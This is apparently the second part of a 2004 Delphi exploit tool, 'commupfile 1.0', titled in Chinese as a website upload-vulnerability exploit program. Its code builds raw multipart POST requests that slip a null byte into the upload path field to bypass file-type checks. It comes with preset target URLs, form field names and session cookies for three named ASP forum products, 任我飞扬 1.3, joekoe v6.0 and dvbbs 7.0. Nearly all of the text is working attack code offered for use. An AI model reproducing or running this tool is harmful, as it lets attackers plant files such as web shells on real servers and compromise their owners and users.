网站上传漏洞利用程序[2]

    application.messagebox('上传成功！','提示',mb_ok+mb_iconinformation);
    cls.active :=false;
  end;
end;

procedure tform1.senddata;
var
  ss,ss1,updata:string;
  i:integer;
begin
  for i:=0 to memo1.lines.count-1 do
    updata :=updata+memo1.lines[i];
  //http头信息
  ss:='post '+bbspath+' http/1.1'+#13#10;
  ss:=ss+'content-type: multipart/form-data; boundary=www.wrsky.com'+#13#10;
  ss:=ss+'referer: http://'+host+bbspath+#13#10;
  //ss:=ss+'accept-language: zh-cn'+#13#10;
  //ss:=ss+'connection: keep-alive'+#13#10;
  //ss:=ss+'cache-control: no-cache'+#13#10;
  //ss:=ss+'accept-encoding: gzip, deflate'+#13#10;
  //ss:=ss+'user-agent: mozilla/4.0 '+#13#10;
  ss:=ss+'host: '+host+#13#10;
  //发送的内容
  ss1:=ss1+'www.wrsky.com'+#13#10;
  ss1:=ss1+'content-disposition: form-data; name="'+trim(edtpathfield.text)+'"'+#13#10#13#10;
  ss1:=ss1+upfname+char(0)+#13#10;
  ss1:=ss1+'www.wrsky.com'+#13#10;
  ss1:=ss1+'content-disposition: form-data; name="'+trim(edtfilefield.text)+'"; filename="d:\newmm.'+ftype+'"'+#13#10;
  ss1:=ss1+'content-type: text/plain'+#13#10#13#10;
  ss1:=ss1+updata+#13#10#13#10;
  ss1:=ss1+'www.wrsky.com'+#13#10;
  ss1:=ss1+'content-disposition: form-data; name="submit"'+#13#10#13#10;
  ss1:=ss1+'上传'+#13#10;
  ss1:=ss1+'www.wrsky.com--'+#13#10#13#10;

  ss:=ss+'content-length: '+inttostr(length(ss1))+#13#10;
  ss:=ss+'cookie: '+trim(memo2.text)+#13#10#13#10;
  ss:=ss+ss1;
  cls.socket.sendtext(ss);
end;

procedure tform1.clsconnect(sender: tobject; socket: tcustomwinsocket);
begin
  senddata;
end;

procedure tform1.inivariant;
var
  ipos:integer;
begin
  urlpath :=trim(edturl.text);
  urlpath :=copy(urlpath,8,length(urlpath)-7);
  ipos:=pos('/',urlpath);
  host:=copy(urlpath,1,ipos-1);
  bbspath:=copy(urlpath,ipos,length(urlpath)-ipos+1);
  upfname :=trim(edtuppath.text);
  ftype :=trim(edttype.text);
  cls.host :=host;
  cls.port :=80;
  cls.active :=true;
end;

procedure tform1.formshow(sender: tobject);
begin
  setrdbcheck(rb1);
end;

procedure tform1.setrdbcheck(rd: tradiobutton);
begin
  //任我飞扬1.3
  if rd=rb1 then
  begin
    edturl.text :='http://www.xxx.com/img_upfile.asp';
    edtpathfield.text :='filepath';
    edtfilefield.text :='file1';
    memo2.text :='isfirst=true;aspsessionidssqaqqac=fbhdklaailjjefpajgmiaggo';
  end;
  //joekoe v6.0
  if rd=rb2 then
  begin
    edturl.text :='http://www.xxx.com/upload.asp?action=upfile';
    edtpathfield.text :='up_name';
    edtfilefield.text :='file_name1';
    memo2.text :='需要自己抓取';
  end;
  //dvbbs 7.0
  if rd=rb3 then
  begin
    edturl.text :='http://www.xxx.com/bbs/upfile.asp';
    edtpathfield.text :='filepath';
    edtfilefield.text :='file1';
    memo2.text :='iscookies=0;aspsessionidacrqtbcs=ogaldebdbbigmlohfkmojfko';
  end;
end;

procedure tform1.rb2click(sender: tobject);
begin
  setrdbcheck(rb2);
end;

procedure tform1.rb3click(sender: tobject);
begin
  setrdbcheck(rb3);
end;

procedure tform1.rb1click(sender: tobject);
begin
  setrdbcheck(rb1);
end;

end.

////////////////////////////////////////////////////////////////
commupfile 1.0

作者:hnxyy  qq:19026695

 2004.12.07    北京

firefox技术交流论坛
http://www.wrsky.com
临时访问地址
http://firefoxer.nease.net
it is all beginnings free
it is all ruin to be privately owned